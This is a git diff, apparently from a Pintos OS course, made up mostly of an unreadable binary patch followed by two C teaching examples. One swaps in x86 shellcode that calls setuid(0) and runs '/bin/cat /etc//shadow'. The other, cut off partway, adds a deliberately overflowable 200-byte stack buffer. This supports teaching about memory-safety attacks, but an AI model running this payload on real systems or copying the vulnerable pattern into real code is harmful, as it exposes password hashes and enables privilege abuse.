zVVVf-g^4plgHZxpqKJb#G!sM^7$m_Zq$DG#O!*-KO-~?WSeZfV<hhPQT?fgiV!|L>
zRl&NiPGjK!&AKwqQDTGjDO4FD;lUtTz`&>u<|v6m4F#!UWd^OA=i-_U@iN3v*25q}
zcYwSqHJyc{9PE>sYzz$Sr@#^*BOOE;7}!1F+z?R)2B8fg?k-ULWq`P#xl+d6Aa0u|
z1A`POJ91<)FzyG5%oJr{;L4oN!m*4I)HoIc)mMzhU~f#E&cXpw!Z_y%8v}y`INuqA
zU4B@UfkEOUC@nx#J`!bMkOt=oQ?O1((4d=`0>~9^V1d2USvWugCX91hLG4y>$ht9t
z{KYhpK^9zCyMayC5rftG5RFU|Ii%S@=6Hb3aS($B8ORt`X3+Y3Il~!{QMw{_1_o&h
zklFyS+Bh)=1}?W5EF3<d6-r!Rp&`p9H3JsJpfX+zG~mye0@e{egM|aserKFx!@<BH
z3wC7+*p)S6pr$jZicA4Ja{}C%5S?&mrhyGwA_j8`gufl;Y>>IE%%H{hat~&(aDXOP
zG&vX;q%VV<oe$P~3gqnnaA$WxUCXr|%79c&@}MRL2r~;PfLa3}%wPx_Dq_$8ji*6c
z6+-NgRt0R4!7FyqbU1hr5Ow5`c|T}KkO!1#Ss(+9%%EX1CV_BJD-|+KhB~as3>j7g
zB}wR5Br|A;j0rqM#>&FZz`!V#!@$76d<irnmdC&-1zJVHmI4)K&og9TlmRJV&of|P
zlm)X285rfjj3Ow5fg>-cih)rJ<SxdqAcHCx7`4Dk@)#HmLBb52Y9PD(K&FGdSp;rq
zM}ns0^B5Sx!gs|O7`RiQ9Hxm3JUTNW`Ev_sEGmhCF$<*GRh)r=7v!pJkok#Vo&f`6
z4v5zP;-wfcFy?}IQ^Xk<_&OOF82o0kfad-g81wlTF)%P}7H44KpUJ?$a7>(mK>#Kx
zxSD~1;hs1HgWy&M28NH~3=Be`0~>@+fU+9{gFx3z77oxJ1>O`x2F6N|`79C)48p|>
zj8!22F^2LMGB8$yTxcP|z#sw&&Yqbp94?@;ph_4tJoX4QLM6e#AOI5=1g$2>19es*
z?tD6vg+mUczFHLIPOuwif;7M+z;0YC0d?aU2{bn{aJqoPxCb=()-sEQBNAlRoI}ts
z1`EHIfP^ua1DZ<!6&Z|uAZH6pGBAjFgAC{gakW8QI}mpQi0drLz#zVB77GU`dKn}*
zK@v+rsqXG9NVaC2^OuQ%fjf_Z5iHC!5geCLHi!6Ekb6KgC#-)#d1yLlwt-Or)J(}^
zV4MzeF(}P}84MDyKuXqtO#eBHg+m+c4NxHjG94@oH66<4-~(CBF`I=0wDgg29lsbe
z14FbV0|P%VGXq00$mOE5SvWw6je$Wz7v%KKpvpvLHq7Zem?2IF3quWuvN^<UW<!0=
zY7Wxc0*ZUa+fb*sfC2~PbTETK@-xWkyFjKp%x2+$%nE^=4Hkl$3}tihfvok1IeQO3
zXgZ+><m?m73=B&^&W?du&A`AY$f(LE%+1Uv%_qnx#3mrlz`&%!z|C#P&CJ2Tz^un;
zFUibj#cj>4F6k)@QsE#m-AR&Bn1O-Cgn^j@B;zT}B*DPI%Fn>f?Fnk!Ffw`ygA}kU
zGI$E>b2Bh-Kn(;n#Z4F>#(4_cOM<kK;(&HWNmLiG!VLo%#oF1#$RNmQ2yz3=G3*Gd
zIrJFpC2b`0_#h4d#Xc6li@}X#U|@!72KCce7(u=Rc^Bk0Rt*MbJ{fKX1~#Y?J_ZJM
z<gh|_DhJ5lp28+zKXY<3g8Tt8hzleRG8GhZ+z1cwzygsM7KnUm3?Mc9sD2hewiGRb
z1R>TiFbE+m0fmz=EO10vQDRUONtrkUgBVB|1A{oImXbiW2IO{lDv%^SR6*u4^MO3W
zf(SiUD3gPMfeqO*^nheX^*?w(loQqAT!>)g2H6F&i3bvTyy&jwLlwy5BPLmZ48`jK
zVMb;?Zf;Ptg5sE+7aq(OpxnR<Phuc0CoHD9U@?twv>qcQt*WD@dtRh?16M}ybPq}$
zNO@8KHLwJcaxADK>TF_Ugya|Dt|mqXCW(nopgIQRJq89*<XAvUSz<^ANr00GD2ydQ
zRgNTTTu32tB^Vf_QG**tU_+AvA8HOn&Y7&pjzdY0Y^WBpBXPwU7&s6~gA?RUkh8f!
z3<d^nbf@v43gAo{M7S1Y10=z)k(4w*`oK;^Eq%CQr4Nq=12YGx7~+K_Z$3nV@f23z
z1|>eE6v4nCfRINCG(n^U1*-i~lZ`NHY>R+g1x_E}#K{UvoYNrHf*8~+R!?CjaRvr)
zs98|11d^--1B0X}qdK@UkzxgxZqi7qB^VfFpf-avOE56VB5}nT804UF3z8LQV33C;
zXOOoQkP@^aB+@5?61Nge5d(uVEaR!bGM*}OszOWhYM{ie4z-aR;x`Q>t^@;vCd3|4
z{i6jp2_8JqT2mVu1+1X@6cR-`2v0LG=pq7$fkBT8QdF=qFzCZg<c0+})I<ZQcBrEa
zL5_meG)CNvq2de-#<Glt!a<Co;t|}D;8bD4%3uhN9#bv`Lt)UYz8R#l0EL}7G?<|V
zT7b*|iCcn9w&J#C^%MrBIV(`bV2uz1RV_BCd4_?(7FB>yCIU4%kn=fm1%Vs@XpzH)
z6a*5W^|_E>gL(i|_reNAaRvr(Z2=1)^tyt9fd`blL79#h<Ud%g3ri~ku(X1nWuV~z
zwGutcKqD0@i&W7vFo?nZ1x^wu`4TzvNH8#fG7qRN22Jpwq88*YC|3#;PYevwP?tbO
zWuR7rxS%YA#06y`M6AoB#uNjC0z!arIgKsSI2agMp{X6*dW58QP+Wmr4Q?xfif1^7
zLyr;CphRR1PGtQkLBj?02sB8!k+>2J3_J*b@uH??K2TNwnFPuTprzT+j35Bf!N4GB
z0u>PgF&G%oqY_y^C|8JrvJwLWs7eII4b(m2h_V2s?Sz(aCE<||4k3`cz%45V1_m2Y
z*P8*nKAZ73A1?zV<Sb!O|CS-Oq97+fvn0MaF;_1c(vf6k0&S&Wwq<12Vq{`tU}W?L
z>jzC6Frw>+?i2#;Dq>(r%_}LY)Jq1<d%<=XWq>#g46IC`#r%@COri{ojG(C(CWb6f
zO2B6vlF|Blu)RAB3^0>1t%1tu<`wB>FfcJNq=2?h>1BYH9DrN^S`yEEkb%**lq1%5
zEk~^IS``rDh*S~&3}&rW5e9L<SQR9-UzkH!MR-3*`ZGihq>zb`fsqlkxq=D2{{e51
zK>Pr63dG6aO;sokWJ34~9A3pGDTzht5Kq`7m1gFY=w{}DmMDQ%DKUYTXfks%+H*vC
zpWGY8#KXYII2#;6px!7^u1U_%E6&eJ#S&AH9baI_Av*#Te4u5A%r_Yr(@QxNZJ7%r
zTAntSdNYScG<)A*E-Go}Si6^5W}Z)Tb2Ep28MEUA+o%2x-W*~~EDVf{*<j~+;f`>O
z0Lm-TgM~z9K7@%G5TLbY%)E>hC$C3+)L9#SYES7mCRPSUM$l4MCWaP#)<OIUiw{U(
zGlKRJrlh2%LF@x5fjJ|&q_Q9tAq;g9EPa7Bg0^%)RA4$3w91HCk8$$#iOgS^_0~4e
zZDC$t-^9$#q0sDe{d44(a|}!@%xoMdJ~1${u(5S6V$u{~U}9ln<Cw?BA<SI1hMC)o
z36%brt88{K3wUwZGBB~Qu<dGM^Df@Qz{JAHRsvGK3uH<YTY4swp?E3B(^8JoG7f!?
zNxM0oa;!bRZa2qMX2B*71BiOINU$Ny1t2}KAmZu*u*@2^NRD)^Ma)xbnjE~(Fu!8<
zviIgtV!l@6^>m}p(*^b!Cz)3;HgVW<JdXx}H_fFJ%bNo^WSC>-F>89w<?wAuk7=IV
zV!O?y`SV;3-{w=1(ajv|TWpzo>zbIqF>*{`?y75I{>8`<!Q58Y#QcwuV?v89^Z(i=
z<`yQ73Cw?Lo0vP8I3k#T)HX5qfJDC3HZd7VaYS<{MuCuU6o;?@0(m#@<!EIJ6J-{e
z$Dz+$8Sz=yHtMskt?_kTTZ7NKwg%UAZH=C3IT(D_b>b*5E9Iywi)B(3VV+mt#QdB=
zZ$8JKP($Wv^%2bP8T2w1GbxEMmq##j>M?iJ>oNah(939MQWIsaiZEgRQ>Vw=$Ee2<
z$^5adgn1H}b*(Of`9C9v5c9hF3C!neo4z(TgM-iuOqPR44l(A+U9B8W-pryA4&EFp
z%v~&A-!_$TcxQ3U2M2vUDCiSF#PMxyARPuisZ1(@3qj0vph%4b5y#if2PydsBIbgm
z7I+w?Muu|~?*MU(K}x{t=B_)npqV+wi<$Qc$9(2Wn|NlfCkD*CCpu1o)J<pOP+()O
z0wppQ4s}oxdJHm<?Fm~3hX}Zw-v?R{%>X*21V=Ff$|2x{4$C?4+=7%BK!pWpGFg&C
z3}h|a2{w+CEg;q^j?;7fa$bO#U_mgWiH+lw&&0Xyc5930m<FLrwv>XD{N*_Pd57<A
zW=^jSATFC18^=i>5bGGn8Cy#bgRO)u075r`yu}t7_ywHKTf9M{D>=S~XYEedn+f9d
za-3agK6!84`rV*V<FIBs!4{KyvXsMm@5G$Q=-uHv;!KdGn61*DgS3Gx1qDANTL~M-
zH}7<q*sqNAa^_MSW<id5)*LMvwx?U#IYdDb$JoH}HPtU0oC?5>?c?~eK%cq0-fJyK
z`YDihKMrBA6Xd5}GG>0u(A3JLB+AUI$6*MPMA+xW#_@$i-)G_4a%R4H>%np*Y#b1`
zfaScOp1R2)T;|Qh!NACP0bJ6W;Vb$Qi!w_xa#Kq(lcD8*NlGTHoC8H2Xy}{y90Maq
zB(t=aAM?g~juXu18T2@QaI`V+sMm{ZwT>>cwF4u2W|Jo7rS%+M%(odhPH>bmS21}q
zGIM@n=KI9q4R$IhFR-wIqmc~~Hy}0(C^<8+aVUUetCU%!#FoR`pE>6Vv*@R0e=yto
z3A5R!-Qd~-wT0sD7pmZFX^FNOR6#e_*hoP)w>UqoL^mxbKe0qXH@BoTFV!|ZH7~U&
zGg(15H?b%=!#2~*!c0LoT|w7hLASUh#Wp>!)Y4KxH!Uw;x40xRIa{}&D8D2%xg@`c
zp*SNoCnq^SC6z%xBR@A)KP9zHzW}`BTDQ2QG$l2!M8CKwSwFQRF}ENmwU`04`xsPD
zFytm?<}t(<mn0UIKu(fLEJ{y??L7vyl=NW@rNpB2GKTzu)I5gdjFikG2Jm?^@lN^q
zISj#(!STMnjsXlMsW~|ei76>X44HYQxk;%-V5uNiM;8~*AcoAm%#zH+oOqDsU<ua<
zS7(O!__Wfz<oI}ow9K4TxD-eaLvm4SVo54kX}F_j2!s*j8RE*2Tbh@fSO6Aq4svx2
zaYb=*F?`E-c~K_R0N+qQkPC}a!5iv9c7b)fMtFuW6s0DnFcjn$XM%QNGn6N0g2Ey-
z8LS}0)yIb+7i3v(B4{5T$ge@JzW!mZ47u5$Z~zJT2e|ryReSn{`Z~D=f!V>XuHFpA
zsj1muo@X#92tbNG9DN{OarW^Kc7?S3;tLY<GLsqd5_3}-!1lzKFchVhlqKdcB$cM6
zK?Bm+17t>KG00lbmjBXXhUA?5Vn_(NdHT2pdq%l}ZS(a8sRa28q&6o%FI@plfcDSk
zrWO|`rl&H*$Ag<|nR)SLiSap^#U&_V2q`3!8Nk}WL}^}eW_n&~iUP<GI43zHv4{Z_
zgW#|O>xze;D!@>jkzZ7z09OpsiLkbyv;?dhq6j3HSd?DOP?k{uIg249F)t-2l>u@x
z0E*)fjl#szig<>2`0)*CIi<xJa1-J|t0EIqQsTkZfQWd|@@5nl6f=}&=9Ltb6vdZ-
zS;j{3px7_SNzBYkO@Y}8_Lp8VLs}6ihKfsy@^Vu17(g+Ro>{`+9^@Yy0E#F`(gqo5
zW)fcl&Smi>4CzJrr3GMVhJwTtuoI$OgZ#nPS;Utx<d>Edl$OM&lol|Q73V=bAD@w$
zQ;=H3P@b7mlEILdUlN}fpO%xD&XAN?oEo3P;OyZT#E_Soo>-DumdcQlnVwlv%m9l1
z5QYGs&|sLmK@CIDsR)^QC8_DDMe!ir5F;WOz!t@4l;$Sp#e-4`=p+e<2htKjg-S6)
zaDbz;D+9>dVrVSHLk(g`EKbhMgqV~M_DF7G1=z>wc?<=qMe#YAd8rWT3WTQ^GEytz
zQ%Z9SAPxqHgr{GKuVVy5Sz=CUDua)|pF0RMWEO*6$B<bZ4@q<k0sf(WE(oK*QCpB$
zRGb=*IMIP2ASB4e)6Fde=32<<1<(Ly2=?#~3W0b#4Oth+={c!+=_MHq@$q1L(-?d`
z{X&Bo3W`#bGeKuXfKK257aYYUMUc}wKu2|C6fxu`R)A7MZfb6FZUIOY=p2vYqU3mx
zD2N7~_W@#q&sYF+Kqq-1&QV|}F3B$d9S#A}QBqWpRFut-mzoMn`j9S}KExY($zWxW
z(;DJIMkN;)<S`UyXBIHP4q*U^f=?fT7yvU9<~GQ2Bp_YT(?~KBE5TI>SYb(ic4{8T
zgyIrV@eYw;NX{>)1jkfyNfG$8lDzoDq+*8n_}u)IluToW`1n#Nt2j45#ms~uC9^Dt
zAwE7OvkW8+^#V#wUYe3wW@ZA?2~`9#!OVoA5NvWWL^cJ?$pxKg2WlcP1Ta7WXo?WD
zf1VK`1lrRK+9ii1q{qm>09ww6Bm~;M4m!3FNeHxKD;hku05=}AK3o%GBZvZ>qQJ~B
zQD8pQb}+>Wkq1$r(K1GcU=Rh`=*GhEnK1yaR-b`^Ar!1O7(|7ETRamXM?5evFo2d3
zfNn!#Vweav7DVteGBAL=!^jW-qU1pP@fjv^z>Ng$>js?@z{n5`QVznPO(7OwTLM57
z$i<8dVIT^$#uU{>AhqDl9}Gbt3Z$Nyp{Ra7hymK4#>`M$KOe*Z&B8M?6xYoMF+gU4
zWkA+}Fvu8?7Dk3Z5CxKFWC#UOFe?M$E(VDtf>tpw1WaZLn#=-XKL+zZGk;}JoeyGn
zf({vA2%F3jKAEMPk%8e95+7tA2!qT~1IJY$h?)i7efpU(a6X7N4<Z4gK-)4vo<_I;
zWP=!3`NReF^Fb_-0gMcxAj%UG!Y%b6hA-Hd01y=j69+LOz~Z4GDh<pG08t=|nHeUw
z)Pooxt63O87Jyj)z^Z~l6blmr12aQ0<9rYUylNW}b)c{ST_eN9U@#v<gWS%{FmXaX
z$ipDKiIIW9AGCvpAqd0;VbJCvUC=IAhBAf%2ATOFHfaASBSRR7;s@=nW0?2@luba&
z89=@Vc@$&^hz9wGks-K`k%3_b#Fa4TgH(XEFfcHHTms%z#1H_Y4ue*rGlYVuvtVWb
zh`Iu1hJvW8;H_=Qi63M_Bv?TZh`I!3hJh%U+8}ru0jbRaD+mNpAZwTyCdPnhkUfkH
zfglQ`4<rn8BWTw|6KDw!gTZ_dJqv6?FiaP+ckVDlw&*Z21b}wxyo3Z23)}%;Kr1Fe
z>zf$@Knr@<KzoN6Ci1}LxmXw&Btg567$$;g7qHqe5LFCj1_yI7Fobb|?kWogQ7K?%
zSS}X>LlJ}tb2XAtEFdF)fc1xhC?-}=QYmGb4`PIXR+=${f~Yu{IEcXxS~kHD3Zf+0
zq3S^lIfyujGJuJL7^V<$5ak9F2Qk2lQy4-)R18F%V?Kxx2T>2A@*(0Z^FfS4h&YI9
zf{1g>2QgY8;vi}&M4V+lh%pNy4x$c#nE@cmk^>Y(p&$yhLXDZBlx04M5eN|nQE8y*
z5Rf>Ckqr?CQ4KJ05Tgkq4x*+)#5v}J7}Fu*AZiUnoMk?Uu?`{*q7FjDIp%{Hhauu1
z>N-T6Wj=@j+8e>h5DKE+!Nfs~Y)-KILDXz8GaN)M05d~D)D18*97Np(GebcXXu|{}
zLpX>k0VfAgeE?1oplxa&KwA|VJ}HA%uX3?5Fo15sVT1BP%SsK{K>Nob@?LBV46#W3
zayABrdL;f-HU@^dNc`<=3=I2`_@IOdN|iA4!H!^HV1T)UnPFnUe3&D^9GDBh9GLZB
z4$N*a2WByt1G5#(fmsRWAlnDcIv}bFoC^X$R4tep45D^}nSmhc6qp(OjD>*#lvNlR
zf<Y7;IFkf|C{Hjm7({{c47kVzF+lrL85x2>R5Cap6*JBUF^)jggD6n=Gctt1e9g!Z
z2J<r`Lm14*j0|Bg|1vU!!F<ce5C-!rBSRR>r%1K47&`+4C{HpoOk7b9S}g_2h+vL0
zI|BnK_klT)><kQ`EC=S~urn}#@)?*@&(6RA%3NU1Bz6Xd>EK*8aYg+;b_NDeo&w9<
zWM^Oi<ti`-7Ra6)3=E(w#mq2qM|~m(0|O`@fjQM23=E*m1LjQNU|;~{7%*o!2Ll5r
zn}9icI2af}c>~M=F)nd{cG8wIuzlD0t~wvY17#7g^h*u~hBQu4i8OHsyaMCpWMB~C
z1SMbQ1B+NV=38<yFoc5hMF5D3g{W_Ut6$8?z;FdD9}M%v1JIrsaHfGb(q3{gF#LiD
zfvDeHU|SKz^?xn~hN(OZ3``6YIY9Ir9tH+>hKU?(pb8Vjc?*?<*`dhIz@Wqf%GzNd
zN*Bxw22o)=AjeN+V6&H+4`N4vrNTheL?o#tJPZsMAyOdf8kiXjq8@;mVIb-$m<jh7
z$Wj|_kSiVLgXlDFkORV7xEUDwAWV>{ATyX49N<+EOeM%~Fr^?iLhVG*5m;cKg>y47
zWP@!mm=B^s>KPe=K@`XaPz?#9e}HWZ22r4Mhd{z0S_a}=5CsYpMusq0fG{!yqlE>?
zc1DKa{X7f|AfJMa0MTeZ1_e7aFUZFe89=luFDP&!?LH9O94ZH*U6AD5co`U?!F)&?
z66`t9I$K@_29Q2B2Jm*M`5=8Db&L#wFeM<`1=8>aFCPUpBf)K15Chb`0EHch1|6Qr
z&QQdlP|Tn-AH)GQ&p8;18HyNWjAZ76c-5d&GGIzT27@r@tQKoX^BY7#CNL+0Co*#&
z!XOG{1E`%3qCrM+FcdHpF(@fB!VPAFh`{3+WG+ZGBSRR7f@mtk&;%BNYifkvz5=oe
zw5S_=`VvC`hyoo+01^h#;5`fs0U!!A=?M}B(V(+T7#RXUlstHReIf&hRs=T_13(mL
z3ny4L$ma|U3?TbJI+++IvVdqvFDw{DL6yRLJ0PW?6L~=44WdCOC$NF?q@m1w5F4}<
zmID;H6FJzF=7V@Y7#J8hK`J0I0OEq|Kqvz7K>M{A8Nxvn$bpQAhB9ayCnyX+?gi1H
zKw!iS3y|H63;`etWCJ2%Ks-<g!6F942HD8YFp+_+h(T#Sh{FsC8xREwHc%}B+9nS=
zB8>qYHRTL4^CcJ=zyZk(7gA=Nj|kZ?ki$X2h14?zIUeLBP{4v{kYhL*CbEDmR%V<J
z;)1MahYBINB^c%wHilw`at5XOAa{XW0OEt34Pt{Vhoo&#5(M!;ZUCtO>3~Kq1ISJ3
zkc7YiqO%~L1yS{2W;lqN3snK4mx4WBA^|FBjb!G7xS-?ZK!K`IBEhCKA9V58Ayh@6
zbI-sBs4;+Mg~4`%4%q=2$H)*2qCm!gTw4InFd!btP>^d27!XDxR3J=*m$e8J!w@Ed
zI#3}0BTNK~z#Yi}?qY#dAWQ^x;=yjb!N|by6C4VGAnF$+6c|9X2Drx-2%<no<AD+&
zhz1>%gj6yi3<yFpfCXVd5Rw5bAOmc{=E8e|AoFrSr#vuB<N(o?;GSk-{d^Fk8r(%J
zkzg~FnGa&mgenBl3qj}gF%&Q;lnAgXfujW^vKX}DoS{U34J1;;ATu8%unw%W2uUeO
zWHZbra7ZvPFeEWCFo5>uFfs&yD3B#g3?&928e}vhLjZ^Z83-P305L%3Ffs&zD3EbT
zX&-dLRXN0~APVGqMuuPz1u~nFAqYf)^f597gD8mhAP}`3tSuNs?ErhY1hfqX>`D;-
z6j*E`1Bkv1RvG}JK<CkcA_+wEfIE=^Ac_y%x17iTqCtm0AUW{}69f3rCPs!JP^TND
z5tLIwH2AD3h9D5d4mK+gM1jm;WC#LL5)e_aqZk+%K->VRO&~fHEFA`-K&L=~+=WFc
z3qol)l2UkS3)*%IIwucQ5rb%uaz=(=5Cu{W5{8)yvLyrR01yp6@Ch+SF^`#n0ep52
z!$dHB2JAj~B3uENHkc1mb`&ff0HRKT4K;vQP9U8u&`van<^(tC!$1^2R2b$aB&93}
zrQt|Q;Xb|2%)sy%Y7>YCDQ9E|22mj8$UX(xQVO*RM4tvbAQ(h_1~bD!)L(Gtzr21v
zhymVfjwqOTSs57AKnKn+OymI3hTtAWS^azvBM2%1qC;637`Q;SSpkDm8H3V%5I=$y
zRG)$BeHoAth#P~Z4Ca41RtAPZa0ev-M1f2MB?J(i1Qv#eKj^%HGKkQ0Rt5&p5jRNb
zbU7;n1E_}s(hM^jBnCR>1e9Q5VxY5kKnFfBG6aFnv=9O9yFk>W*H{@CWWYl368aV^
z1H)6We+}k?Xpk;OhG39JF|bN_$t%akzyLa*4&($74eC!J)zV1PEC^|M^GywOCIx6)
zID^4_6R1gy3;`gOpzVLiu?sSID_ALFh!u3U#RG_YKood?4r1K+AR7b239xJsh`I%4
z!o3Jm4C<DF91aU7keCl>KN+aK0~HKpXJD8I9^rs@>J!)*7(fS4AoT;w*climgH^$6
z5RiV*4kb3|$S8;nI-iP-0WvZQVuMa>g2{u}LEw>5h&+g$1m;6p#UM6lCm2jW$b1l%
zVqjnZnZ?C04_q38_dJ3m7#J8pc7pcTFfs&yD3CHHhKV6iS+F!j4Adfqh=R0$hI*lc
z%n)hB2sWqz3|auj$N={!ObF%?h&hnOeh{Vb<P1}al!igxZU?udgFsXlm>B?~j)Iv%
zAPN)~jEH;+I^>WC95g|bSpp}+3kx)}KnKTRu?du_KvscI(`9g&527JT;V}%l<`8t|
z850Adw*?Zr4sjBQf=b80d<&Ak3YHE4QBY}kUkwy<y<jIpViUv$9khlXo1g>imLsWy
z84udW4-pTX%o2?7@@hr~2GI4$=z;$YWCpmA0O^0h%z=rsGXzg&naF}L2-N!U#i9Ww
zj-df`t`TTh6gDaXvjH~L1RHOG4Yq(XFlcBCHp~JWV}T8@pqrDy$-vOh$-pp$lYwCx
zXfg(B!CX!ThV#&IglkCRw>TLX__!Dtgt-_PM7f}fLFd+SLq-cgeOOS36($4gp@Mpq
zIY_5ngUUY8_FQf@1_n^M2P^bo`moZVb*dl<W>B-8fq?;ZzA%Ij+Q-Mh5VII`xDIF>
z1GJ@{fx!iO-Z(S(76Jwa@X6GmE-&cBDh37y&=GYI{h%|5Kr9GmW&oYS0%3zlW(IJc
z2Qk5z8FUIbm<1u2LC2^-m|&8b0d(vqm<cABA%}5;*&u?M0VyQF?%{*_2qX(S;N#<e
zeh3pxvM_x751O<Bb3n(yF?{?FI*Ac<xHBs_H!v}P=E*?e0po*~bs?(<%|RjaL0xyy
z8c)!S8xsQ~c#aKrY$S+}t{-%^Hz>S71s@{=8w036jcgw1d~ndhN6@quNPimx0|V@s
zG!P$DxWUdc1Mxxky}Lk<&;s#6x1@qjS^}jhMg}H^Jq!#CphH!_8z>o=7!ETqFn~tC
zV0_RKBA_!?V0_Tw5TGMgV0_SCb<puHpv@PI46F>G?lQ7_K^;QS2_>MI2H6J+KhO~$
zpqK{nK?j6`&ewp+gL;6VvoBzLP!AAv`UH#*nic|`76IdfI!mC_2|#%VWS$eKOS>3y
z4mXGoIvEbMaUZ50bRsxtS31o898f?nX5oPGL8p`>yT6^0fdRC33smHR!VfeT1>0f^
z;!kB{V1S+2Da63Y0P3;9cE*DEpk4d0v%En3^`KMGp+_@-_@JX;VaJAn_&XRG7+}Y&
zfcQ@t85kZzk3j<Q4=^$?z>W|G@sER+$xdY901a7y_@GnHVW)tC_?H<W`EfY|1A`y~
zE5ltz1_sax*q|XBko*%y1_s!{P9Q$$93;@OzMy;n;)9A<&;h$Vpo66u7#Tp*gs=^+
zAbHUKYS00`F!T68Cw?|VP7npji!&k4RR-~8m>3vf+iyX9H73Z(`JgZtVEFjo64bMU
z9xeuwcV=Q>fSq#y;(LRRR)L<p0pf#Bp#m-42G#N)emoNc1L&}7nEO+i7#KiDZo}Mf
z&BVYE2t9Qaq&|;{f#C@BaAFX@go%Lxbiy=DJ*a;QItv}fuVZ3hfE~92Qr`;dra{kp
z2J!is7#Lv3l7jd~ObqZV5<vVeCI$xBQ4t{iL?#9X(81j>_kvCmh8@NLk_Vjz13RAz
z#9z+DzyLZ49i|@Csf3+<1Crm$#J~VMR0G7{0}WqL$qV8iWMW_dt?&lTxq|o?nHU&g
z$0~sMH<=h1V5f6~`1hC?7+?q6fcQ^Ax1U2#P66@XGBGfKwg7-m#Ru_0*A&2xtq1Wz
zeaoNFz1$!^Xxjkns1pz$)Zv63#{uGldYxuS;R))@!p@um$%9U3f}J-5;+rrtFn|uV
zhNV9%W(Ee>Io}|82WAEa*hw!SKHAO<*pflSIy~4SKRrWJGtiO|(1Nk}co5GLvH(sm
znE|n=3$ls}zHke)s1m#yOV7~E(1-!HrU_%M6w*2>$eJ<uY9%NavW^D6;!w}f+{_%Z
zNGSzEML?*02vxxVT?nOTXlZN!S{MVli3Q0srWQ!1nOdND%@UbsW?+J((##M=4kbv;
z%*~KhS|IB)M={0R(3k<+x*F&L8rbqW_);AB;wJbarrgwA@Tw;0a!SxDrh-a_g3^*=
zq!p#mC6n;r1}~RP$waL2M63V;Er=_EFTaB<n~aYyg|706kB8h}1X*YXUUG_9xd&TQ
z2U}$XUU3Iq771C!30kuWULOise+ph}3NnxZ<m`+h$hytqk|NORCD3{{P=w`x7F)qr
zok7==g49D6Yk@9g0<VCD*oL%j5q60aX!#~+saI|R$T;wVEAYZs@U4sRHBca1K})ep
zia<-fz>8$T>&URKt^*kdS~&(@JqlUBSqxqF#h_PQnOl;W#GnU?A~2l+W0j;<lrZQO
z<)<W;B*JKrGDAHRRIVX|9z;!2aWR8la(*u8z9j}dh!+!!67$kii(y>Qy-P55Vp393
zY8i|NUcd*{1PW0oGbcY8rUGgbsE#29OM}~bpy?h+-86-Pf#Ei&XA0E}YBGSBptd21
z4QdsG+Jptt3=FS94GoYaxcvxWfEH(g)PYX71ht)Glo=RaK%~GVsLKbE2dz&6(I9o8
zHnoci1H)C209X}h!VQ8!bsb0;)cOXswH4GD7(lzfpvo9PWig2D3p(%_-0p?6!5^qW
z^n>I;7-R;B2K8t`Y|zQ~AU;T)DTo2ZAUP0@hK37Nm_bw>bW$pehcFww2Mr<2V5-5u
zPzc&52NeUE1!97(l7X>7{AE523^S3M^e{Q_o+FR~D7KGaVAuz0utE7Sb)bm|5F6%?
zzX=Qspb-zKGH}};BoErx1)^c%ei;l5dnI8!gg=&{`IozifdM?50aXe!1622b;sPqn
zVAIRM06v-?DgaXlqCsf|D$Kyr%)s!04b(1UU@(EE7f`zz)Rsjy?@K2Gg9nlT$Q+Ov
E0C}e`9RL6T

literal 0
HcmV?d00001

diff --git a/src/examples/exploit_sam.c b/src/examples/exploit_sam.c
index 6c05150..8a6cbb9 100644
--- a/src/examples/exploit_sam.c
+++ b/src/examples/exploit_sam.c
@@ -16,11 +16,31 @@
  * just compile the code below and use the debugger to dump the code
  * in the main function. */
 
- /* Taken from https://packetstormsecurity.com/files/133481/Linux-x86-Create-File-With-7775-Permissions-Shellcode.html
+ /* Taken from https://shell-storm.org/shellcode/files/shellcode-557.html
+ /* This Setuid exploit allows the user to run an executable with root permissions */
     
  */
 unsigned char shellcode[] =
-"\xeb\x12\x5b\x31\xc0\x88\x43\x05\xb0\x08\xb1\xff\xb5\xff\xcd\x80\xb0\x01\xcd\x80\xe8\xe9\xff\xff\xff\x61\x6a\x69\x74\x68\x23";
+"\x31\xdb"      // xor ebx,ebx
+            "\x6a\x17"      // push byte 17h   
+            "\x58"          // pop eax
+            "\xcd\x80"      // int 0x80
+            "\x8d\x43\x0b"      // lea eax,[ebx+0xb]
+            "\x99"          // cdq
+            "\x52"          // push edx
+            "\x68\x2f\x63\x61\x74"  // push dword 0x7461632f
+            "\x68\x2f\x62\x69\x6e"  // push dword 0x6e69622f
+            "\x89\xe3"      // mov ebx,esp
+            "\x52"          // push edx
+            "\x68\x61\x64\x6f\x77"  // push dword 0x776f6461
+            "\x68\x2f\x2f\x73\x68"  // push dword 0x68732f2f
+            "\x68\x2f\x65\x74\x63"  // push dword 0x6374652f
+            "\x89\xe1"      // mov ecx,esp
+            "\x52"          // push edx
+            "\x51"          // push ecx
+            "\x53"          // push ebx
+            "\x89\xe1"      // mov ecx,esp
+            "\xcd\x80" ;        // int 80h
 
 #else
 /* And this is rather scary amazing...  This is also the below
diff --git a/src/examples/overflow.c b/src/examples/overflow.c
new file mode 100644
index 0000000..a568a88
--- /dev/null
+++ b/src/examples/overflow.c
@@ -0,0 +1,88 @@
+/* klaar@ida
+
+   noopsled | pintos --fs-disk=2 -v -k -p ../examples/overflow -a overflow -p ../examples/crack -a crack -- -f -q run overflow
+
+   This program is possible to crack with carefully crafted input.
+   It examplifies the danger of buffer overflow.
+*/
+
+#include <syscall.h>
+#include <stdio.h>
+#include <string.h>
+
+static void stringcopy(char* dst, const char* src)
+{
+  while (*src)
+    *dst++ = *src++;
+  *dst = '\0';
+}
+
+int main(void);
+
+/* A messy not very good buffer overflow example. A little bit too
+ * contrieved. */
+static int getline (char* destination)
+{
+  char line[200];
+  int i = 0;
+  char* dst = destination;
+
+//#define DEBUG_CODE
+#ifdef DEBUG_CODE
+  int r, c;
+  unsigned* ret = (unsigned*)(&dst - 1);
+
+  printf ("Return address address: 0x%08x\n", (unsigned)&ret);
+  printf ("Return address content: 0x%08x\n", *ret);
+  printf ("Main function address : 0x%08x\n", (unsigned)main);
+  printf ("Line buffer address   : 0x%08x\n", (unsigned)line);
+#endif
+
+  do /* !!! Buffer overflow when i >= 200 !!! */
+  {
+    if ( read (STDIN_FILENO, &line[i], 1) != 1)
+      break; /* failed to read requested number of characters */
+  }
+  while ( line[i++] != '\n' );
+
+  line[i-1] = '\0';
+
+#ifdef DEBUG_CODE
+  /* hex dump of read data */
+  for (r = 0; r < 16; ++r)
+  {
+    printf ("0x%08x: ", (unsigned)&line[ 16*r ]);
+    for (c = 0; c < 16; ++c)
+    {
+      int code = line[ 16*r + c ] & 0xff;
+      printf("\\x%02x", code);
+    }
+    printf("\n");
+  }
+
